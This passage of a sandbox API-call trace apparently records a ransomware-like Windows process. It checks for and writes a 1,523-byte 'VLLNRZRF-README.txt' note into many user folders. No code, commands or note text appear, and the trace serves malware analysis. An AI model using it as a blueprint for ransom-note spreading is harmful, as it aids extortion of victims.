ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0119.135] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0119.135] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x38 [0119.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0119.135] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\sendto\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x434 [0119.137] GetFileType (hFile=0x434) returned 0x1 [0119.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0119.137] GetFileType (hFile=0x434) returned 0x1 [0119.137] SetFilePointer (in: hFile=0x434, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0119.137] WriteFile (in: hFile=0x434, lpBuffer=0x224ee98*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x224ee98*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0119.138] CloseHandle (hObject=0x434) returned 1 [0119.313] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3c [0119.313] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0119.314] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\start menu\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0119.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0119.314] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3c [0119.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0119.314] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\start menu\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x414 [0119.315] GetFileType (hFile=0x414) returned 0x1 [0119.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0119.315] GetFileType (hFile=0x414) returned 0x1 [0119.315] SetFilePointer (in: hFile=0x414, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0119.315] WriteFile (in: hFile=0x414, lpBuffer=0x22546a8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x22546a8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0119.358] CloseHandle (hObject=0x414) returned 1 [0119.374] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3b [0119.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0119.374] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\templates\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0119.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0119.374] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3b [0119.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0119.374] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\templates\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x47c [0119.375] GetFileType (hFile=0x47c) returned 0x1 [0119.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0119.375] GetFileType (hFile=0x47c) returned 0x1 [0119.376] SetFilePointer (in: hFile=0x47c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0119.376] WriteFile (in: hFile=0x47c, lpBuffer=0x2258d58*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2258d58*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0119.377] CloseHandle (hObject=0x47c) returned 1 [0119.405] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x38 [0119.405] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0119.406] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab4acb90, ftCreationTime.dwHighDateTime=0x1d60166, ftLastAccessTime.dwLowDateTime=0xab4acb90, ftLastAccessTime.dwHighDateTime=0x1d60166, ftLastWriteTime.dwLowDateTime=0xab4acb90, ftLastWriteTime.dwHighDateTime=0x1d60166, nFileSizeHigh=0x0, nFileSizeLow=0x5f3)) returned 1 [0119.406] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0119.545] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x40 [0119.545] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0119.545] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2w8-bza\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0119.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0119.546] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x40 [0119.546] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0119.546] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\2W8-Bza\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\2w8-bza\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4bc [0119.546] GetFileType (hFile=0x4bc) returned 0x1 [0119.546] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0119.547] GetFileType (hFile=0x4bc) returned 0x1 [0119.547] SetFilePointer (in: hFile=0x4bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0119.547] WriteFile (in: hFile=0x4bc, lpBuffer=0x237e900*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x237e900*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0119.548] CloseHandle (hObject=0x4bc) returned 1 [0120.596] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x4b [0120.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0120.596] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0120.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0120.596] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x4b [0120.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0120.596] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x480 [0120.766] GetFileType (hFile=0x480) returned 0x1 [0120.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0120.766] GetFileType (hFile=0x480) returned 0x1 [0120.766] SetFilePointer (in: hFile=0x480, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0120.766] WriteFile (in: hFile=0x480, lpBuffer=0x2411eb0*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2411eb0*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0120.768] CloseHandle (hObject=0x480) returned 1 [0121.433] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x5b [0121.433] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0121.433] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\lqz6adzni4bezmo\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0121.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0121.434] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x5b [0121.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0121.434] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\dl8VaK1 rn9WLatTlI\\LQz6AdzNi4BeZmO\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\dl8vak1 rn9wlattli\\lqz6adzni4bezmo\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x4d0 [0121.434] GetFileType (hFile=0x4d0) returned 0x1 [0121.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0121.434] GetFileType (hFile=0x4d0) returned 0x1 [0121.435] SetFilePointer (in: hFile=0x4d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0121.435] WriteFile (in: hFile=0x4d0, lpBuffer=0x237c2a8*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x237c2a8*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0121.436] CloseHandle (hObject=0x4d0) returned 1 [0121.558] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x4b [0121.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0121.558] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gxe419os4bcxmdlnn6\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0121.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0121.558] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x4b [0121.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0121.558] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Gxe419OS4bcxMdlnN6\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gxe419os4bcxmdlnn6\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x530 [0121.558] GetFileType (hFile=0x530) returned 0x1 [0121.558] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0121.559] GetFileType (hFile=0x530) returned 0x1 [0121.559] SetFilePointer (in: hFile=0x530, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0121.559] WriteFile (in: hFile=0x530, lpBuffer=0x24b3688*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x24b3688*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0121.560] CloseHandle (hObject=0x530) returned 1 [0122.275] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3d [0122.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0122.275] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0122.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0122.276] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x3d [0122.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0122.276] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x484 [0122.276] GetFileType (hFile=0x484) returned 0x1 [0122.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0122.277] GetFileType (hFile=0x484) returned 0x1 [0122.277] SetFilePointer (in: hFile=0x484, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0122.277] WriteFile (in: hFile=0x484, lpBuffer=0x2328140*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2328140*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0122.278] CloseHandle (hObject=0x484) returned 1 [0122.431] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x48 [0122.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0122.432] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0122.432] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2eae0) returned 1 [0122.432] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e470, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x48 [0122.432] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e950) returned 1 [0122.432] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\vllnrzrf-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x52c [0122.432] GetFileType (hFile=0x52c) returned 0x1 [0122.433] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ca2e8c0) returned 1 [0122.433] GetFileType (hFile=0x52c) returned 0x1 [0122.433] SetFilePointer (in: hFile=0x52c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ca2e938*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ca2e938*=0) returned 0x0 [0122.433] WriteFile (in: hFile=0x52c, lpBuffer=0x2297b50*, nNumberOfBytesToWrite=0x5f3, lpNumberOfBytesWritten=0x1ca2ea98, lpOverlapped=0x0 | out: lpBuffer=0x2297b50*, lpNumberOfBytesWritten=0x1ca2ea98*=0x5f3, lpOverlapped=0x0) returned 1 [0122.434] CloseHandle (hObject=0x52c) returned 1 [0123.289] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\VLLNRZRF-README.txt", nBufferLength=0x105, lpBuffer=0x1ca2e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\VLLNRZRF-README.txt", lpFilePart=0x0) returned 0x5a [0123.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2eb20) returned 1 [0123.289] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rX_Z\\HVyU9mm3Ch\\P1LxaHY9ySceM3Qzo\\VLLNRZRF-README.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rx_z\\hvyu9mm3ch\\p1lxahy9yscem3qzo\\vllnrzrf-readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1ca2ec00 | out: lpFileInformation=0x1ca2ec00*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, 